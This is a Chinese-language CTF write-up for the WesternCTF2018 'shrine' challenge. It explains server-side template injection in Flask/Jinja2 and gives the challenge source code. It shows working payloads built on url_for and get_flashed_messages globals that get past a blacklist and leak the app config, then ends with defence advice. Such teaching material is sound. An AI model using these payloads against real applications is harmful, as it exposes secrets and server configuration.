zoukankan      html  css  js  c++  java
  • [WesternCTF2018]shrine

    0x00 知识点

    SSTI模板注入:

    模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程

    服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)

    0x01模板引擎

    模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig

    
    
    模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。
    

    0x02 模板渲染

    首先 模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。

    模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
    通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

    0x03 服务端模版注入

    服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

    这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。
    

    0x04 模板引擎注入

    一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一种注入攻击,可以产生一些特别有趣的影响。对于AngularJS的情况,这可能意味着XSS,并且在服务器端注入的情况下可能意味着远程代码执行。重点来了,不同引擎有不同的测试以及注入方式!

    flask/jinja2模板注入

    PHP/模版引擎Twig注入

    0x05 tplmap

    利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。

    0x06 解题

    模板渲染接受的参数需要用两个大括号括起来{{}}模板注入也在大括号里构造
    题目源码:

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
            + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    if __name__ == '__main__':
        app.run(debug=True)
    
    

    首先在shrine路径下测试ssti能正常执行

    /shrine/{{ 2+2 }}
    

    接着分析源码

    app.config['FLAG'] = os.environ.pop('FLAG')
    

    注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    

    上面这行代码把黑名单的东西遍历并设为空,例如:

    /shrine/{{config}}
    

    不过python还有一些内置函数,比如url_for和get_flashed_messages

    /shrine/{{url_for.__globals__}}
    

    看到current_app意思应该是当前app,那我们就当前app下的config:

    /shrine/{{url_for.__globals__['current_app'].config}}
    

    get_flashed_messages

    返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
    

    同理

    /shrine/{{get_flashed_messages.__globals__['current_app'].config}}
    

    0x07 防御SSTI

    防御对于不同的模板引擎,防御方案也不相同。但做好对用户输入的清理/过滤,将能大大的降低此类问题带来的安全威胁。
    另一个选择是创建一个安全加固/沙箱环境,禁用或删除潜在的危险指令。

    为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。

    注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。

    另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。
    参考链接

    https://www.jianshu.com/p/aef2ae0498df

    https://blog.csdn.net/chasingin/article/details/104063617

  • 相关阅读:
    记一次对网站的SEO优化改造
    pc端页面添加响应式布局
    linux开启coredump
    vue中鼠标事件
    垂直居中的几种方法
    最准确的身份证号码正则验证
    将数组[NaN ,1,21,32,NaN,41,5]里面的NaN成员剔除(复用underscore.js的filter方法)
    项目中使用Mockjs模拟数据
    研究生学习与生活(2019)
    研究生学习与生活(九)
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12238779.html
Copyright © 2011-2022 走看看